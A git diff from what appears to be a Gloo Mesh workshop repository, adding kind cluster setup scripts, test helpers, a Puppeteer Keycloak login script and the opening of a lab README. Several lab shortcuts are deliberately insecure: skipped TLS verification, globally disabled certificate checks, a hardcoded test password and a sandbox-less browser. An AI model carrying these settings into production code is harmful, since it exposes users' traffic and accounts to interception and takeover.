+if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/platform/2-4/default/scripts/md-to-bash.sh b/gloo-mesh/platform/2-4/default/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/platform/2-4/default/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/platform/2-4/default/scripts/register-domain.sh b/gloo-mesh/platform/2-4/default/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/platform/2-4/default/scripts/snapdiff.sh b/gloo-mesh/platform/2-4/default/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/platform/2-4/default/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/tests/can-resolve.test.js.liquid b/gloo-mesh/platform/2-4/default/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/tests/chai-exec.js b/gloo-mesh/platform/2-4/default/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/platform/2-4/default/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/platform/2-4/default/tests/chai-http.js b/gloo-mesh/platform/2-4/default/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/tests/keycloak-token.js b/gloo-mesh/platform/2-4/default/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/platform/2-4/default/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/platform/2-4/default/tests/keycloak.js b/gloo-mesh/platform/2-4/default/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/platform/2-4/default/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/platform/2-4/default/tests/utils.js b/gloo-mesh/platform/2-4/default/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/platform/2-4/default/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/README.md b/gloo-mesh/platform/2-5/airgap/default/README.md new file mode 100644 index 0000000000..a15413899a --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/README.md @@ -0,0 +1,5093 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Mesh Platform (2.5.0)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy KinD clusters](#lab-1---deploy-kind-clusters-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager](#lab-4---deploy-istio-using-gloo-mesh-lifecycle-manager-) +* [Lab 5 - Deploy the Bookinfo demo app](#lab-5---deploy-the-bookinfo-demo-app-) +* [Lab 6 - Deploy the httpbin demo app](#lab-6---deploy-the-httpbin-demo-app-) +* [Lab 7 - Deploy Gloo Mesh Addons](#lab-7---deploy-gloo-mesh-addons-) +* [Lab 8 - Create the gateways workspace](#lab-8---create-the-gateways-workspace-) +* [Lab 9 - Create the bookinfo workspace](#lab-9---create-the-bookinfo-workspace-) +* [Lab 10 - Expose the productpage through a gateway](#lab-10---expose-the-productpage-through-a-gateway-) +* [Lab 11 - Create the httpbin workspace](#lab-11---create-the-httpbin-workspace-) +* [Lab 12 - Expose an external service](#lab-12---expose-an-external-service-) +* [Lab 13 - Deploy Keycloak](#lab-13---deploy-keycloak-) +* [Lab 14 - Securing the access with OAuth](#lab-14---securing-the-access-with-oauth-) +* [Lab 15 - Use the transformation filter to manipulate headers](#lab-15---use-the-transformation-filter-to-manipulate-headers-) +* [Lab 16 - Use the DLP policy to mask sensitive data](#lab-16---use-the-dlp-policy-to-mask-sensitive-data-) +* [Lab 17 - Apply rate limiting to the Gateway](#lab-17---apply-rate-limiting-to-the-gateway-) +* [Lab 18 - Use the Web Application Firewall filter](#lab-18---use-the-web-application-firewall-filter-) +* [Lab 19 - Adding services to the mesh](#lab-19---adding-services-to-the-mesh-) +* [Lab 20 - Traffic policies](#lab-20---traffic-policies-) +* [Lab 21 - Create the Root Trust Policy](#lab-21---create-the-root-trust-policy-) +* [Lab 22 - Leverage Virtual Destinations for east west communications](#lab-22---leverage-virtual-destinations-for-east-west-communications-) +* [Lab 23 - Zero trust](#lab-23---zero-trust-) +* [Lab 24 - Securing the egress traffic](#lab-24---securing-the-egress-traffic-) +* [Lab 25 - VM integration with Spire](#lab-25---vm-integration-with-spire-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh 